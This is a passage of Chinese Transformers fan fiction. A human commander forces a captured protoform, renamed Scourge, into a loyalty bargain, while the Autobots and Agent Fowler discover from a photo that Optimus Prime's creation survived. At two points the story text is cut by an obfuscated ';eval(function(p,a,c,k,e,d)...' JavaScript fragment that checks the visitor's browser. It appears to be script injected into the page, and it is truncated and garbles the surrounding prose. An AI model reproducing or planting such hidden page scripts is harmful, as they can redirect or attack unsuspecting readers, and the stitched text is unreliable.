“副官,”塞拉斯斜眼瞥了他一眼,而被他叫到的副官简直如坠冰窟,那双人类的眼中蕴含的冰冷眼神远比仓库内发狂的赛博坦人更让他感受到死亡的恐惧,“不要质疑我的决定。” 不等副官回复,他又恢复了云淡风轻,“这次的外出很值得,”他说,“擎天柱,我们收获了一个名字,一个领袖,你觉得这代表什么?” “军方早已经和他们进行了接触,不管是发现原生体的那艘飞船,他们一定拥有更多的人,这些活着的金属……” 副官喃喃着不知如何回复。 “而且,你觉得,「天灾」这个名字如何?” 副官:“什么?” 没有跟上长官跳跃的思维,副官楞在了原地。 “「Scourge」。” “天灾,无法阻挡的灾难,人类和赛博坦人的恶魔,一场致死的瘟疫。” 塞拉斯勾起嘴角,“在看到今天的录像时我想到了这个名字,不觉得很合适吗?” “就当做他今日首次任务的褒奖。” 这可恶的人间恶魔假惺惺地宣布自己的仁慈,“他不满于「slave」,那么便将他的代号改为这个吧。” 副官捡回自己的理智,低头应是。 13.我要你的忠诚 已经“被”改名为天灾的原生体几乎在仓库内挣扎了一整个晚上,痛苦的嘶吼和嘎吱嘎吱的金属摩擦声也在塞拉斯的士兵们耳朵里响彻了一整个晚上。 士兵们无法理解这地外的生命体何处来的这么多的精力和能量,也不明白到底是什么刺激了他低级的处理器产生了这么严重的“应激反应”。 但毫无疑问,这都跟那个军官口中的“擎天柱”有关。 负责搜索的副官检索了所有的相关网站和关键字。 就连外星人、机器人、机性恋和恋物癖、机甲控这类抽象的词语都进入了他的搜索名单。 可蹦出来的要么是跳舞的猴子要么是一些硅基对接图。 属实是让副官见证到了人类的开放性,开了眼界又想给自己来一把格式化。 然而这依然改不了他们什么都没发现的事实。 被安排在仓库门口“照看”原生体的人从未如此庆幸还能看到黎明的曙光突破码头的边界线,就连手中的武器都被他捏出了汗渍,他无法描述当对这一切司空见惯的麻木在原生体如同兽类的哀嚎中变为恐惧时自己的心情,他只能祈祷这一切快快结束。 换班的点一到他便迫不及待地点开通讯器,招呼换班的车辆进来交接,自站在这里就没停下的心悸如今才算真正停下,他擦了一把冷汗,依然没敢放下手中的枪械。 明明按照科学家的推算,原生体体内的能量应该仅仅维持在勉强支撑他运转的程度。 再加上第一次任务的损耗,他本应该虚弱、任由他们摆布才对! 但是他唯独不该这样“活蹦乱跳”。 换班的士兵不想承认自己的腿软和内心中的恐惧,强撑着和另一拨人换了班,在离开前他深深地看了一眼身后的仓库,如今整夜的折磨都被关在用特殊材质打造的仓库内,他似乎透过加厚的铁门看见了里面被死死挂在墙上的机甲。 他转过头快速且沉默地登上车厢,暗自祈祷不属于地球的外星人滚得越远越好,最好都死干净才算给一切撂下句号。 换班车辆的声音逐渐走远,仓库内又恢复安静。 原生体低垂着头,士兵的消息没有错误,自上线后就再未进食,他的能量已经快要见底。 全身的能量线路紧缩,油箱空转,摄食管和发声器都痛得要死,体内的能量储藏仅剩28%,饥饿、疲惫……以及很多的痛苦,这就是他的机体所还能感知到的东西。 他苦中作乐,起码他的机体还对这些生理反应存在反馈。 他默不作声,身边却一点儿不“孤独”。 塞拉斯,这野心勃勃的阴谋家,导致原生体遭受这一切的罪魁祸首就好整以暇地站在他的面前,而原生体连看他一眼都嫌晦气,人类的脸上依然是那一副游刃在握的找揍的表情。 如今原生体已经彻底耗空了所有的反抗的余力,四只机械钳子卡着他的四肢将他悬空吊在半空,一整晚的挣扎除了让他的机体损伤程度上升和让这些该死的碳基看了一晚的笑话外别无用处。 原生体的光学镜黯淡,低着头看不出清醒,昏暗的灯光从天花板上打下来更显得他如同待宰的羔羊,更遑论他身上无法自愈的伤痕和剐蹭的漆面。 如果原生体拥有自由自然不会让自己以这种丢脸狼狈的姿态出现在人前。 然而他早已失去反抗的能力。 塞拉斯心中愉悦,对手中握住的原生体的生杀大权表现出了十足的傲慢。 “瞧瞧你,将自己折腾得如此糟糕。”他慢条斯理,像是打量自己的资产一样扫视着原生体周边落下的铁屑和能量液。 他责备的目光落在原生体的身上,“如此不小心……你该多珍视一下自己的机体,要知道我们的科学家要修复你可不容易。” “但看在你第一次任务完成得不错的份上,我宽恕你的无理取闹。” 原生体依然低着头毫无反应,塞拉斯毫不在意,他知道他还清醒着。 “「天灾」,你的新名字,我想这应该比「slave」更得你的心意。” “无法阻挡的天降灾厄……”男人轻笑,“我想你会如这个名字的含义一样带给人类、赛博坦人无限的痛苦。” “当然也包括擎天柱。” 原生体终于有了反应,手掌攥紧,机械爪被拖拽出刺耳的噪音,塞拉斯勾起一边的嘴角。 “所以这的确是个和你‘关系匪浅’的人。” “告诉我他是什么。” 原生体在心里暗讽他的询问暴露了他的一无所知。 原生体至今也不过上线一周多,满打满算不到15天,而他意识清醒、自由掌控机体的时间甚至不到48个小时,除了机体莫名的悸动,他空白的处理器没有给他任何答案。 塞拉斯不可能不清楚这点。 所以他是在破罐子破摔。 原生体微微抬眼,嘲弄地看着这个自命不凡的人类。 “你以为你的掩盖很高超吗,拙劣的谎言在这里不起作用,你该明白抗拒只会得到惩罚。” 塞拉斯这么威胁着,原生体对此不为所动,他甚至强迫破损的发声器发出了一声小小的嗤笑。 到底是谁的谎言欲掩弥彰、拙劣不堪。 原生体的态度惹恼了站在塞拉斯身后被人类XP折磨了一宿的副官,他拿出了项圈的控制器。 猩红的目镜转而盯住了副官,其中的恐惧却已消失大半。 一回生二回熟,原生体对此的恐惧在昨晚科学家们因为无法忍受他的疯狂而几次电击后已经逐渐消逝,他知道这东西杀不了他,撑死了让他感受到疼痛。 而他的机体显而易见已经适应了疼痛,体内的反制程序进展到5%,这间仓库挡不了他多久。 原生体悬挂在半空,漆黑的装甲表面在挣扎中剥落露出最底下的银色,明明身陷囹圄却依然掩盖不住他身上与生俱来的高傲,他被束之高阁,却轻蔑地俯视着地上渺小的人类。 副官被彻底激怒,而塞拉斯再次拦下了他。 副官不解,“长官?” 塞拉斯没有任何解释,挥退了在场的其他人,只剩下了自己和原生体。 “我注意到,你依然没有给予我信任。” “而这给我们的行动带来了非常大的不便。” 原生体歪头,脖子上的能量液滴下,砸在地面,“信任?”他不再掩盖自己对这些弱小生物的恶意,裂开了嘴,尖锐的虎牙露出,如同示威的野兽。 “你囚禁我的机体,限制我的自由,抢夺我的机体,你将项圈带上我的脖颈,将我的尊严踩在地面,让我成为你的奴隶,如今你却对我说提信任?” 他大声地怒吼,“我的脑袋里还有你们植入的炸弹,哈!信任?难道你妄想我向你下跪亲手捧上自己的头颅吗?多么好笑的笑话!” 没有被原生体光学镜中猛然迸出的凶意吓到,塞拉斯眯了眯眼,“既然如此,来做个交易吧。” 他说道:“你的态度证明了你还没有搞懂自己的地位。” “你本应该被拆解,我们却依然费了大力气将你修复,你燃烧着火焰的胸膛本应坐着我们最优秀的驾驶员,你本该作为我们达成目的的基石,然而你做了什么呢?” “昨天的任务,你的首轮亮相,我却只看见了一架毫无能力可言的机甲!一件毫无用处的武器!” 他抬高音量,眼睛中闪烁着原生体看不懂的光芒。 “你简直成为了我们机械党最大的败笔。” “你还能保留自己的思想的一切源头在于我给予你的仁慈。” 恶魔在他的脚下低语,“我相信我们植入的是程序而不是病毒,你的电子脑袋应该知道利弊。” “而我现在 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机甲的疯狂反抗无法忽视,纵使他们设法削除了他的一部分武装,也移除了他机甲上的一些武器,削弱了机甲的战力,可在昨天,机甲依然扭断了两只机械爪,如果不是仓库本就由实验室改装而来,怕是真的要被他挣脱。 他们在机甲反抗期间收集到的数据比他昏迷时得到的数据还要高。 这只代表了一件事——他是在成长着的。 塞拉斯不敢想如果他们当初没有卸除他自身的装甲会发生什么。 这种不受控的力量必须被他们掌握在自己手中。 如果“自由”能让机甲乖乖听话,塞拉斯不介意做这个恩人。 原生体如他所愿陷入了沉思,塞拉斯就在这时松开了束缚了他一夜的机械爪。 这是一个大胆的决定,埋伏在仓库外的士兵已经拉开了手中武器的安全阀,只要机甲有任何暴动的趋势,不管如何他们都得保下塞拉斯。 兴许是在一个姿势固定了太久,僵化的线路让原生体在落地时踉跄了一下,他很快调整好了状态,眼中的神情分明是在说「难道你就不怕我趁机杀死你吗」。 塞拉斯背着手,仰着头看他,丝毫不惧 ,“就当这是,交易预支的报酬。” “……”机甲轻轻揉搓着疼痛的手腕,暗自评估着。 “……人类不会做亏本的买卖。”他打量着塞拉斯,而后者泰然自若,“我一向在这方面很有信用。” 原生体盯着他,沉默几乎让躲藏在仓库外观察着里面动静的士兵焦躁起来了。 当塞拉斯都开始忍不住冒出焦躁感时,原生体动了。 “你的条件是?”他低声询问。 成了。 塞拉斯露出笑容,这甚至显得他的虚伪中都带了一丝真诚。 “我要你的忠诚。” 话音刚落,一股愤怒从火种蔓延至全身,机甲的手掌嘎吱作响,陡然冷峻目光足以让任何生物为之胆寒,那双猩红色的光学镜中的冷静也第一次如此明显的展现在了塞拉斯的面前。 恶魔纹丝未动。 良久,原生体……天灾,跪了下来。 机械的手掌撑在自己的膝盖上,他看着塞拉斯,项圈促使他只能以特定的角度低下头。 屈辱、痛苦、他的尊严。 他用这些换取了自己的“自由”。 他沉默着,金属的唇紧紧抿着,他曾在痛苦中学会暂时的蛰伏,然而,最终,他还是向着自己憎恨的人低下了头。 他曾经安慰自己一切不过是为了生存,是别无他法,选无可选。 可弱者才为自己的失败找寻借口,这无法改变他无力反抗的事实,也无法改变他心甘情愿接受了这场自甘堕落的交易。 他咽下自己摄食管中的涩意,不去想自己失去了什么。 “天灾……接受您的命令。” 原生体接受了人类赋予他的名字。 14.现在他是有宵禁的机了 驯服一匹烈马远比牵住狗的缰绳更有成就感。 眼看这时刻想着“忤逆”自己的外星机甲终于愿意真情实意地加入机械党,哪怕明知这是胁迫,人类在暗处依旧忍不住嘴角的上扬和心底的喜悦,副官也露出了洋洋得意的神色。 塞拉斯松了口气表面却不动声色地勾了勾嘴角。 就算再表现得如何镇定自若,这架机甲终究空有这一身恐怖的外表,其内在实在是过于纯净了。 甚至有些易于看懂了。 塞拉斯一边和他谈着交易的条款,一边在心里给天灾打着标记。 简直如同拿着武器的孩童,看看那脸上的神色吧,塞拉斯都快怜悯他了,那神色分明是在悼念自己为所谓“自由”而碎成一地的尊严。 但是那也不过是徒增笑料。 天灾在赌塞拉斯会信守承诺交给他“自由”,塞拉斯又何尝不是在赌他不会在落地的第一时间向自己开炮,就算他们植入了控制系统,但人类的脆弱塞拉斯也一清二楚。 除去直接的伤害,炮弹爆炸的余波、飞过来的碎屑甚至是机甲随手抄起向他砸过来的地板砖都可能成为他的死因。 而他赌天灾不会使出这样下作的手段。 好在他赌赢了,这幼童一般的机甲落地后甚至没有想过反击,很直接地跳过了反抗这一步转而直接开始顺着他的节奏开始思考“交易”本身是否可以接受。 如果不是害怕天灾脑子里转过这个弯,塞拉斯真的就要嘲笑出声了。 就算你是外星人又怎么样,到头来也不过是被人类玩弄在股掌之间的可怜虫罢了,塞拉斯在心底暗笑,人类面对你们可不是一无是处,而这件事更是证明了他的想法是正确的,人类需要掌控更为强大的力量,由更为强大的人领导才是人类未来的出路也是唯一的出路。 “很好,”他清清嗓子,整个人沐浴在天灾目镜的猩红之下,“那么正如我所言,每24小时,你会有3个小时的自由活动时间,在这期间,我不会启动监视器。”他说。 天灾眯了眯眼睛,明显不满意自己的“忠诚”只换来了短短几个小时的自由。 “不要得寸进尺,”塞拉斯看出他眼神中的不满警告他,“这已经是相当的退步了,你要知道你才是处于劣势的那个。” 他似乎是真的想要教给天灾一些东西,“要记住,弱者没有谈判的权利。” 天灾发出低吼,“我知道,不要教我怎么做事,人类。” “但你也别忘了,你想要的是我的忠诚,”他抬起了跪下的膝盖,整个机重新站了起来,这一次人类再次不得不仰视他,“这就是我们的交易。” “交易本身应是公平的,才叫做交易。”他明晃晃的态度分明告诉刚刚还得意的人类,他并非那么好忽悠。 就算他在劣势,但他也清楚地知道塞拉斯敢提出这个要求就必然是他所表现出的某种东西促使人类不得不从掌控一切的上位者地位走下来,以一种看似平等的地位以“交易”的方式换取他的顺从。 不管那是什么,也不管他此刻的境遇,但天灾的确是无师自通地抓住了交易中“博弈”的这一点。 而能够“博弈”就意味着他能从中挣得利益。 此时的原生体已经表现出了几分神似他sire的品质。 兴许是塞拉斯与他进行交易的这个行为本身带来的安全感,他稍微放松了身体的紧绷,而后者站在他面前的地板上仰视着他,不到两米的人类仇人就站在他脚下,天灾真的很难忍住自己一脚踩下去的冲动,但是想想自己脑袋里的炸弹和人类糊在脚上的肉沫,他还是将这种冲动忍了下去。 塞拉斯盯着他,看不出喜怒,冷着那一副死人脸说:“5个小时。” “不能再多了,与此同时我们需要在此期间监控你的位置。” 他让步了,天灾将这个视作一个小小的胜利符号,接连数日的负面情绪过后,这勉强可以算做是一个好消息让他一直在尖叫的情绪回路好受了一点,找回了一些掌控权和踏实感。 他点点头没有再提出异议。 “那么来谈谈我的条件吧。” 塞拉斯说:“除去自由活动的5小时外,其余时间我要求你必须留在机械党基地,随叫随到,进行任务时必须听从我们的命令,控制系统启动时不得进行任何反抗,不然你知道后果……” “我不会听从所有人的命令,”天灾皱着眉盯着他,也许是交易带给他的安全感过于足了,他撕破几天前假装乖顺的外表露出了自己真正的性格和喜恶,如今他毫不掩饰自己对屈居人下这一点的厌恶,“别把我当成你们养的一条狗,我的忠诚只会献给一个人。” 一个真正值得他效忠并为之奉献出自己全部的人。 一个真正的领袖(leader)。 塞拉斯显然是没有听见他的心语的,煞有其事地点点头,“当然,你将由我直接下令,其他人没有调动你的权力。” “你要向我献出你全部的忠诚。” 他再次强调。 这一次天灾没有再反驳他。 最终经过几次扯皮,天灾勉强获得了每天24小时会有5个小时“放风”时间的权利。 代价是听从塞拉斯的命令,被控制时不得进行任何反抗。 以及需要进行定时的身体检查。 当然不再是痛苦的那种,毕竟他的从里到外可能连同对接面板在内都被这群疯子拆开看过一遍研究透彻了。 天灾对此倒没什么特别的反应,他身处“战争”,这不过是无伤大雅的小事。 但他的确坚决表达了自己厌恶被那群所谓科学家看做实验体的事情。 塞拉斯也向他保证让他意识清醒看着自己被活体解剖的事情不会再有。 唯一的遗憾可能就是他没能在这次交易中取回自己的原生武器和原生的装甲。 现在身上的伤势不算大问题,左右不影响他的机能,撑死了会让他疼一点儿,但是装甲和武器却是实打实在影响他的战斗力。 这些人类锻造的外装甲看起来似乎是和他的原生装甲一致,然而实际上根本没办法和他的传感回路链接,干什么都像是隔了一层薄膜,武器也是,除了手炮是原装的,他的臂刃和腿刃必定是被更换了,钝感十足。 而且关键的点在于,装甲和武器无法和他的机体相连就意味着他的自愈能力大打折扣。 自愈能力本就是赛博坦人与生俱来的天赋,哪怕没有得到医治,一些轻伤和不危及性命的伤害,甚至都可以靠着自己的自愈能力拼一把,然而现在哪怕是轻微的外装甲凹陷天灾都得找医生帮忙,他自己的自愈能力基本罢工。 这和让他当一次性炮灰有什么区别。 然而塞拉斯那个老混球就是死活不肯撒口。 渣的,别让我逮到机会,不然迟早给你们也换一身衣服,就用你们人类的垃圾袋做。 我看看你们穿着垃圾袋还能不能拿着那些玩具枪狐假虎威。 天灾恶狠狠地诅咒他们。 刨去这些插曲,其实简单来说,他现在是个有宵禁的赛博坦人了。 哦对,他还得自己出去找饭吃,塞拉斯明确表示自己不会做赛博坦人能吃的东西,所以他还得靠自己自力更生。 如果地球没有他能吃的能量怎么办? 那就得看他的机体能不能接受吃汽油了。 虽然难吃了点,他的油箱可能受受罪,但一边吐一边吃他的机体总能转化一些出来吧。 不然天灾也只能告诉塞拉斯交易作废因为他自己要被活活饿死了。 这有点儿怪,但想想他现在的处境,好像也没什么好抱怨的。 小油罐车在交易结束后的第一秒就踩死油门从仓库里冲了出去。 与此同时埋伏着的其他人类士兵也终于走了出来,副官依旧站在塞拉斯身后,“长官,5个小时的自由是不是太……放纵了,”他斟酌道,“而且没有开监视,我们不知道他的具体情况,会增加更多不确定因素,尤其是现在可能还有他的同族先行和军方进行了接触。” “耐心点儿,副官,”塞拉斯游刃有余,丝毫没有把这些潜在的威胁看在眼里,“就像我所说的,适当的自由会激发他对我们的顺从。” “给他一点儿自由,就像是滚轮里兔子眼前吊着的胡萝卜,一个适当的诱饵,一个小小的甜头,让他有充足的理由说服自己向我臣服,为我出力。” “毕竟……” “不过是个被我们握在手里的机器罢了。” “再蹦跶又能蹦跶到哪里去。” 塞拉斯自信满满,笃定地说道。 油罐车的大号轮胎给地面留下深深的痕迹,塞拉斯头也没抬转身也离开了这里。 机械党内发生了什么自然除了他们无人知晓,但自从原生体一事暴露了霸天虎的大军已经全部抵达地球后,汽车人这边就进入了战备模式。 擎天柱和救护车加固了基地的电磁干扰装置,重新校准了陆地桥系统,大黄蜂的巡逻次数从一周两次扩展到了一周五次,范围从贾斯帕一路延伸到了纽约的边郊,阿尔茜一直在四处寻找可能存在的时空波动防止有意外掉出来的霸天虎士兵,隔板搬运超能量晶体的频率更高数量也更多了,就连孩子们出门都开始随身携带通讯器。 基地内,叮铃咣当的改造声不绝于耳,救护车整个上半身已经没入基地下的管道井,不时有蓝色的能量烟雾溢出,杰克没忍住喉咙中的痒意在救护车又一次起身时咳嗽出声。 他打趣地和刚回来的阿尔茜说他现在知道赛博坦人的超能量体粉尘也会让人类过敏不舒服了。 阿尔茜附和他也可能是因为近期基地内超能量体粉尘浓度过量。 救护车大声说他这是必要的战时检查,如果他们没有想要帮忙的意愿就不要站在这里碍手碍脚。 黄色的科迈罗跑车就在这时从陆地桥绿色的隧道中漂移出来,后车门打开,刚下学的拉菲顺着引力跳下车子,一边向和其他人问好一边小跑着奔上楼梯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的火种一直在隐隐不安。 富勒特工就是在这个时候进来的。 霸天虎的突然出现因为领袖和其他汽车人严厉的警告而引起人类军方的重视,但霸天虎在这段时间实在安静得过分,本因为霸天虎而紧张起来的军区在接连数日的沉寂中也不得不先暂时解除了戒严,乃至于富勒特工都吐槽这些虎子们怎么突然遵纪守法起来了。 兴许是汽车人比霸天虎先到达地球给地球人的刻板印象过于深刻,很多将军实际上还并不能理解为什么汽车人如此如临大敌,他们虽然从未见过霸天虎,但想来人类也应该拥有一战之力,任凭大黄蜂和阿尔茜如何解释他们都固执己见。 但擎天柱不能因此责怪他们,向从未见识过霸天虎的地球人科普威震天是如何将一支原本代表反抗的队伍变成了全宇宙的公害这件事除非是亲历者,否则很难亲自体验到“霸天虎降临”的恐怖。 富勒特工那天也在处理完火灾后作为人类军方与汽车人的交接成员观看完了战斗录像,录像上红蜘蛛的狡诈和狠毒的确给他留下了很深刻的印象,因此此时富勒特工脸上如临大敌的表情才让领袖如此不安。 “富勒特工,有什么事吗?”领袖低下身子,几乎希望富勒特工告诉他他只是因为今天出门忘记拿钥匙才这么如临大敌。 然而他注定失望。 富勒特工怒气冲冲,拿出一张照片和一段视频。 那上面赫然是一个漆黑色、气势狠厉,面容却酷似领袖的赛博坦人。 照片上那个赛博坦人脸上一片冷色,身上因为子弹而碰溅出一片片火花,他毫不在意举起炮筒正对相片的拍摄者,无处可逃的恐惧感隔着相片都能传递到人的身上。 然而让领袖瞬间失神的是他面甲上那双过分熟悉又令人陌生的猩红色光学镜。 “将军今天早上给我看了这个,他问我汽车人对于擎天柱突袭军方秘密基地有什么看法。” “我告诉他那根本不可能是你,因为那个时间段你分明就在基地里,可他不信我。”富勒特工一边强忍怒气一边说道。 “我不认为我老眼昏花,好吧,我可能的确身材有些走形,但我还清醒着!这甚至都看不出黑色的斑驳车漆和凹凸不平的装甲到底哪里和你像了!” 他自顾自的说着,却像是刚发现领袖的震惊和走神一样,停下了话茬。 富勒特工毕竟接受过专业的训练,看见领袖的神情,心里立刻咯噔了一下。 “……领袖,你有什么需要告诉我的吗?” “或者,我错过了什么我需要知道的大事吗?” 他的眼睛后知后觉绕了一圈汽车人基地,从所有汽车人的身上一一扫过。 瞬间心里的咯噔变成了两下。 坏了,他看着救护车脸上的神情咽了下口水。 这次疑似真出大问题了。 汽车人领袖不会真突袭去了吧。 15.隐瞒 汽车人基地内一片愁云惨淡,富勒特工不知道发生了什么,自从他拿出那张照片与视频后,不管是擎天柱还是救护车,甚至是大黄蜂这个年轻的机子都陷入这种明显是“我在想些很沉重的东西所以暂时性不可以说话”的诡异氛围。 总不能是因为照片上这个机是擎天柱的孪生兄弟吧! 富勒特工茫然无措。 上帝在上,如果我做错了事请让上级直接骂我而不是让我待在外星人基地被自己的胡乱猜想吓死。 我才是过来找领袖要一个答案的人吧?作为军方的联系人,我可是刚被上级狠狠刁难过,该难过的人是我,为什么他们一个个的看起来都这么苦大仇深!?这让他怎么好意思去质问汽车人们“领袖”袭击军方基地到底怎么回事? 富勒特工脸上都憋红了,左看看右看看终究是决定做个会看气氛的哑巴。 和没有跟上进度的大人不同,拉菲在看清楚照片的一瞬间就意识到,这个黑色的赛博坦人就是那天领袖没能救下来的原生体。 虽然尚未弄清楚他是如何存活下来又是为何要攻击军方基地,可是亲子的存活对于孑然一身的领袖而言一定是不一样的。 他和另外两个孩子对视,在彼此的眼睛里都找到了了然。 拉菲抿着嘴注视着领袖眼里的动摇,12岁的男孩无法想象四百万年的光阴不断地看着身边亲近的人死去是种怎样的折磨,但和自己血脉相连的人在自己眼前被杀又突然的复活,哪怕是领袖也会有一瞬的悲喜交加吧。 救护车将几个人类孩子和富勒特工脸上的担忧和疑惑都看在眼里,他有心想缓和,然而看着擎天柱陡然瞪大的光学镜还是将嘴中的话语咽了下去。 领袖脸上的神情几乎可以被称之为失态,在漫长的战争中学会戴上的扑克脸因为这死而复生的奇迹而裂出了一道痕迹。 领袖不会错认自己的孩子,那张照片上的机子分明就是他尚未降生就被判断为死亡的原生体。 他曾经以为自己在和威震天数以百万年的争斗中早已对死亡麻木,对自己的无力和弱小有了足够的认识,可这个孩子就像一记警钟砸在他头上,告诉领袖,不,你远没有做到最好,你造成的毁灭分明和威震天没有区别,他心底的声音嘶哑地嘲笑,你连你自己的孩子也保护不了,明灭的火种摇曳着慢慢变化为一个看不清脸孔的人,他喊着领袖的名字然后在每个夜晚和每个领袖没能拯救下的人们一起变成索命的冤魂让他不得安宁。 可如今,他还……活着? 手中的数据版掉落在地,领袖像是恍然惊醒般蹲下身子一边捡一边低声道歉。 富勒特工此刻才终于找到机会。 “擎天柱,发生了什么?”领袖尚未收敛好的心情都挂在脸上,富勒特工尽量委婉地问。 “这和前几天我处理的那场特大火灾有关系对吗?”他无意揭领袖的伤疤,然而将军那边也必须得有一个交代。 “不好意思富勒特工,”擎天柱心烦意乱地将数据版放到救护车手中,半跪下身子和站在另一侧楼梯上的富勒平视着说道,“我很抱歉没有将全部的事情告诉你,但……是的,这张照片上的机子就来自火灾中爆炸的那艘飞船。” 原生体的存在毕竟涉及到了赛博坦人的科技,因此他们给富勒特工和军方观看的战斗录像并不是全部,汽车人隐瞒下了原生体的存在而只给他们观看了红蜘蛛和霸天虎的部分,为了解除误会,擎天柱将那天的全部都告知了富勒特工。 在短暂的沉默后,这位成熟的特工抓住了关键的点。 “也就是说,本应该死在爆炸中的机子不知道怎么活了下来,并且袭击了我们的基地。”他总结道,“可是这依然说不通,”他迅速进入工作状态,皱着眉指向照片中那架黑色的机子,“那个基地里只有训练用的新兵场地,不光没有重型武器,连最基本的能量供给也不存在,他没有理由去袭击一个自己根本用不到的东西,而且还因此暴露了自己的存在。” “有可能是误打误撞?毕竟他刚出生,啥也不知道,可能是饿了于是只能赌运气你们的基地里有吃的呢?”美琪猜测。 “可是他很明显是有目的的,”拉菲打断她,将富勒特工提供给他们的视频拉大,“你看,他变形后第一发炮弹没有击中仓库或者人群,而是他正前方最大的那栋指挥楼,后面几发攻击分别命中了哨塔、车库和作战帐篷……” “与之相对的,你们看,离他最近的士兵甚至不需要他开炮就能被他杀死,但他依然选择无视这些士兵继续攻击建筑,哪怕子弹已经对他的外装甲造成了有效伤害。” “这只能说明一件事,他是有目的的在对建筑进行破坏。” 杰克就在这时注意到了被投射到光屏后在视频角落中一闪而过的东西,他没有把这当做自己的错觉而是立刻窜到了拉菲身边,急忙说道:“扩大这里!对,就是这里拉菲!” “还有办法放大吗?” 拉菲被他吓了一跳,但很快镇静下来,“我试一下。” 几个汽车人也结束了和富勒特工的讨论,一起凑到了光屏前。 只见在拉菲的操作下,那看不清的数码块很快被放大、解析,然后,露出了一个带着臂章的人的半个身子。 视频中可以清晰的看到,这个带着不明臂章的人从黑色赛博坦人的驾驶室随着他的变形而被甩出了车内。 速度过快画面又太过混乱与模糊这才让大家没能第一时间发现他。 “富勒,你认识这个标志吗?” “不,军方没有这种标志存在,”特工眯了眯眼睛,将图片截图下载到了u盘中,“但我会拿去给技术部门和情报部门的,看看能不能找出些什么。” “帮大忙了拉菲。”他拍了拍男孩的肩膀,而拉菲羞涩又谦虚地笑了笑。 “这只是件小事。” “但这也不是个好兆头吧?”美琪敏锐地察觉到了这个一闪而过的画面代表的隐藏含义,“有人和他同行!” “我们都还没认识他,甚至他的家长都还在我们身边呢!” “这么酷的领袖之子结果第一个结识他的却不是我们!真不公平!”她说着又瞥了一眼照片,原生体脖子上那个格格不入的项圈映入女孩的视线,她迟疑地眨了眨眼睛,思索了一下,没有在这个时刻把这个发现告诉其他人。 领袖也听到了她的话。 “带有不明标志的人员、有目的的进攻……”不好的预感很快冲淡了自己的creation还活着的欣喜,他忧心忡忡,“恐怕有人比我们捷足先登,与苏醒的原生体先进行了接触。” “可是他是怎么活下来的?” “那不重要了,拉菲,”救护车说,“这个原生体本是为了战争所铸造的,我们本应该是他苏醒后第一批与他进行接触的对象,可是现在有人捷足先登,并且明显不怀好意,我很怕他会因此在处理器中印刻错误的数据。” “原生体如果因此失控,那就是一把双刃剑,不管是和他进行合作的这些人类还是我们,都会陷入危险之中。” “可是我们不知道他去哪里了对吧?” 富勒叹了口气,不得不承认军方的不足,“我们的人在他跑进森林后就失去了他的踪迹。” “将军说他对擎天柱这个名字有反应 因此才让我过来和你们问个清楚,” 通讯器的声音适时响起,富勒特工打住话题接通了通讯,几分钟的应和后他挂掉了电话,开始慌张收拾起了刚刚的东西,“将军让我回去进行汇报,我先走了。” “领袖,如果你们有关于他的最新消息,记得通知我。” 他急急忙忙下楼,差点儿被梯子绊了一跤。 “你打算怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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美琪晃了晃拳头,“我可没瞎猜!你看他机体和领袖几乎一模一样,没道理就脖子上不一样!而且这个装饰一看就很没品!你有注意到有多丑吗!” 杰克不说话了,而救护车仔细辨认过后眼神也变了。 “美琪说得对,这不是他机体上原装的东西。” “但是不是被控制,我不好下定论,”救护车拧着眉说,“但如果真的是,那么我们就得小心了。起码不能让军方的人知道这个消息。” “为什么?”杰克问。 “人类会知道赛博坦人可以被控制,或者更糟糕,被奴役。”阿尔茜就在这个时候出声,刚刚气氛紧张她总不好打断领袖的话,也没办法像是孩子们一样毫无顾忌。 “我了解他们,就和赛博坦议会一样,人类会试图将自己无法掌握的东西牢牢握在自己手里。” “在这之前我们展现出了赛博坦人的强大和不可控性,我们的武力和擎天柱的压制没有让他们起不该起的心思,可这个原生体的出现会给他们可能性。” 隔板也应和道:“思想的口子是很可怕的。谁知道他们会做出什么。” “放心吧,我们绝不会说出去或者这么干的,”美琪郑重地承诺,另外两个小伙伴也紧跟着点了点头,让基地内的汽车人伙伴们笑出了声。 “我们当然相信你美琪,”领袖蹲下身将几个小朋友重新放回二楼的沙发上,“只是,这一点还请你们暂时保密。” “那你们打算怎么办?” 领袖眸色一暗。 “当务之急是先想办法找到他,最好能把他带回来,不能让他被军方的人先一步发现。” “他一个人在地球上不安全。” “但是你们如果大张旗鼓,就相当于告诉所有人,霸天虎和军方……你们有鬼。”杰克担忧地说。 “是的,所以我们的搜寻只能在暗处。” 三个孩子你看我我看你,不知道该说些什么。 领袖身不由己,汽车人在地球形单影只,他们无力更改现状,可如果就连寻找自己的孩子也如此桎梏…… 领袖像是在说服他们,又像是在说服自己。 “我不能让汽车人陷入危险,”他垂眸,“他还活着,这就是最好的消息了。” 另一边,霸天虎的战舰上也终于迎来了她真正的主人。 16.矿机 霸天虎的战舰内,几个杂兵看着手上的数据脸色苍白,因为工作而磨损的手爪没有得到适时的保养而时不时产生抽搐,数据板上的数字也随之产生偏移。 早已习惯自己机体的不适,为首的杂兵习以为常地甩了甩手将已经彻底断裂的轴承甩回原位。 咔啦咔啦的声音响彻,他脸色连变都没有变,眼神依然黏在手上那块数据板上。 这些伤虽然日常的时候会有些阵痛但是习惯后也就无所谓了,战事吃紧,汽车人那边情势不好,霸天虎这边也同样没好到哪里去。 战争已经耗尽了赛博坦的所有,不光是火种,还有他们的家园,以及他们赖以生存的能量。 在底层士兵里还有些从战争初期活到现在的“老人”,这些幸运儿大都有着一副东拼西凑来的机体和一双总在怀念什么的光学镜。他们向每一个从流水线上下来的杂兵描述战前的赛博坦是多么的黑暗,贵族们如何垄断了本应该够每个人吃饱的能量块却任凭底层的人们饿死,讲述威震天陛下是如何揭竿而起率领霸天虎力挽狂澜。 他们的光学镜只有这个时候才会迸射出光芒,只不过他们所讲的大多数故事都被杂兵们当做睡前童话听听便罢了。 他们出生就在这艘战舰上,大多数机甚至可能这辈子也只会见到战舰的甲板和矿场里漆黑的岩石。 跌宕起伏的故事只会占据他们本就不灵敏的CPU让他们在下次挖矿时来不及逃脱被崩塌的矿坑意外砸死。 